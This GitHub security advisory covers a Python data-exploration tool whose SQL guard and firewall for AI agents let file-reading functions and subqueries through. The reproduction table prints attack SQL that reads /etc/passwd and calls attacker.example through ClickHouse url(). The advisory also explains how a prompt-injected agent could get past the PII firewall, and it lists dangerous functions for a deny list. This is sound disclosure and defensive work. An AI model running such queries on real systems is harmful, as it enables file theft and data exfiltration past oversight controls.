GHSA-f3jf-cv9h-7c3g: 
Python vulnerability analysis and mitigation

Problem

Code read at bf7eb2c (v1.12.7). Found in an external security review (Oct 2026) and reproduced against the engine directly. explore query is the only sanctioned way for an agent to run SQL, and two layers guard it:

• guards/sql_guard.py:106 assert_select_only checks statement shape only (one read-only SELECT). It never raises RefusalReason.UNAPPROVED_FUNCTION (:48), so a function call inside a SELECT is never judged.
• guards/query_firewall.py inspect_query resolves sources and PII taint for the projection path only (_resolve_sources, :562). A subquery under WHERE / EXISTS / IN is never resolved against the cache.
• guards/execution.py:351 has a function allowlist, but it is skipped when guards.approved_functions is empty, which is the default.
• transform/validate.py:279,381 call assert_select_only alone. Reproduced by calling inspect_query against a one-table cache (db.main.T, profiled): | Dialect | SQL | Result | |---|---|---| | postgres | SELECT pg_read_file('/etc/passwd') AS x FROM db.main.T | allowed | | duckdb | SELECT ID FROM db.main.T WHERE ID IN (SELECT 1 FROM db.main.NOT_CACHED) | allowed | | duckdb | SELECT ID FROM db.main.T WHERE EXISTS (SELECT 1 FROM read_csv('/etc/passwd')) | allowed | | clickhouse | SELECT ID FROM db.main.T WHERE ID IN (SELECT 1 FROM url('http://attacker.example/x','CSV','a Int8')) | allowed | | clickhouse | ... WHERE ID IN (SELECT 1 FROM remote('10.0.0.5', system.one)) | allowed | | duckdb / clickhouse | SELECT * FROM read_text(...) / SELECT * FROM file(...) in the top-level FROM | refused (good) |

Impact

A prompt-injected or careless agent can, through the guarded path:

• read local files (DuckDB read_csv/read_text; Postgres pg_read_file when the role has pg_read_server_files);
• make the warehouse issue outbound requests and carry query-derived values in the URL (ClickHouse url, remote, s3), bypassing the PII firewall entirely;
• read tables that were never profiled, so their PII flags were never checked (as a filter/oracle, not as projected values). Warehouse GRANTs remain the last line, but the firewall is the control the skills tell agents to rely on.

Proposal

1. Resolve every subquery against the cache, not just FROM sources on the projection path. A table that is not cached and profiled is refused wherever it appears.
2. Default function deny list in assert_select_only, always on. Match over all exp.Func nodes by name, not only exp.Anonymous: sqlglot parses DuckDB read_csv as the typed exp.ReadCSV. Minimum set: pg_read_file, pg_read_binary_file, pg_ls_dir, lo_import, lo_export, dblink*; ClickHouse file, url, remote, remoteSecure, s3, s3Cluster, hdfs, mysql, postgresql, jdbc, odbc, executable; DuckDB read_csv*, read_json*, read_parquet, read_text, read_blob, glob, and a bare string-literal path as a table (FROM '/etc/passwd'). Raise reason=UNAPPROVED_FUNCTION; QueryRefusedError must still name the function in its message.
3. Keep guards.approved_functions as an additional allowlist for local UDFs. An empty list must no longer mean that function policy is skipped.

Acceptance

• Every allowed row in the table above is refused by inspect_query; the two already-refused rows stay refused.
• assert_select_only("SELECT pg_read_file('/etc/passwd')", dialect="postgres") raises with reason=UNAPPROVED_FUNCTION.
• The existing firewall decision-matrix tests still pass.

Credits

Reported by Sthenos Security. Reported by Sthenos Security, found with Reachable. Fixed in exmergo-dex-core 1.16.1.